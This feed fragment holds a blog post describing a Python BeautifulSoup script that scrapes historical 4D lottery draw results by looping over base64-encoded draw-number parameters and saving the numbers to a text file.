<p>It got me thinking, can I</p></div>]]></description><link>https://www.nullsession.pw/4d-data-collecter/</link><guid isPermaLink="false">5b3adc69b8cedc386147125f</guid><category><![CDATA[Dev]]></category><category><![CDATA[Blog]]></category><dc:creator><![CDATA[Anonymous]]></dc:creator><pubDate>Tue, 03 Jul 2018 02:41:35 GMT</pubDate><content:encoded><![CDATA[<div class="kg-card-markdown"><h3 id="disclaimernooffensiveactionsweredonecodesarepurelyforeducationpurposeofwhatpythoncando">DISCLAIMER: NO OFFENSIVE ACTIONS WERE DONE, CODES ARE PURELY FOR EDUCATION PURPOSE OF WHAT PYTHON CAN DO.</h3>
<hr>
<h2 id="background">Background</h2>
<p>Inspired by a friend who asked if it was possible to get historical data of 4D lottery numbers from the official website using a python script.</p>
<p>It got me thinking, can I apply and of my CTF knowledge to get those data?</p>
<h2 id="advanture">Advanture</h2>
<p>I did some research, and found out that a python libray called <code>BeautifulSoup</code> allows us to get specific tags within a given html output.</p>
<p>The lottery page uses a GET paramter to pass in the arguments which will then be processed by the back end server to get the data needed. The variable was passed in as a base64 encoded variable, and it was tagged with a &quot;draw&quot; number, as each lottery draw has a draw number.</p>
<h2 id="scriptingandtesting">Scripting and Testing</h2>
<p>After watching a video on how is <code>BeaustifulSoup</code> used, I coded a sample script to get the latest draw, and it worked! So what's left was doing a historical lookup using the &quot;draw numbers&quot;, and store the results in a text file for further analytics next! (Soup anyone?)</p>
<h2 id="lesson">Lesson</h2>
<p>Even though this is not a CTF related challenge or real world encounter, the concept of web scrapping in a non-offensive environment can be used in an offensive environment if the codes were tweaked. I personally think that it can be used for information gathering and reconnaissance on any target of interest. It could also be a CTF challenge... Hmm... Inspirations everyday!</p>
<h2 id="thecode">The Code</h2>
<p>NOTE: Url of the lottery site removed to avoid any trouble.</p>
<pre><code>import requests
import base64
from bs4 import BeautifulSoup as soup
import time


#The draw number you want. Typically 4 digits
# EXAMPLE: draw_number = 4284
# Edit: using loop for draw_number to get multiple draws

for draw_number in range(1000,4284):
	time.sleep(1)
	#Build the base64 paramter
	try:
		param_builder = 'DrawNumber=' + str(draw_number)
		encoded_draw_number = base64.b64encode(param_builder.encode('utf-8'))
		get_param = encoded_draw_number.decode('utf-8')

		#Build the url
		url = '[REMOVED URL]' + get_param

		# Generated_list
		number_list = []

		#Invoke the GET request
		r = requests.get(url)

		#Read the request
		web_reply = r.text

		page_soup = soup(web_reply,&quot;html.parser&quot;)
		base_table = (page_soup.findAll(&quot;div&quot;,{&quot;class&quot;:&quot;tables-wrap&quot;}))[0]

		draw_date = str(base_table.findAll(&quot;th&quot;,{&quot;class&quot;:&quot;drawDate&quot;})[0])
		draw_date_text = draw_date[(draw_date.find('&lt;th class=&quot;drawDate&quot;&gt;')+21):draw_date.find('&lt;/th&gt;')]

		starter_table = base_table.findAll(&quot;td&quot;)

		for nums in starter_table:
			number = str(nums)
			number_list.append(number[(number.find('&lt;/td&gt;')-4):number.find('&lt;/td&gt;')])

		for items in number_list:
			with open('4d_history.txt','a') as file:
				 file.write(items + '\n')
	except:
		pass

</code></pre>
</div>]]></content:encoded></item></channel></rss>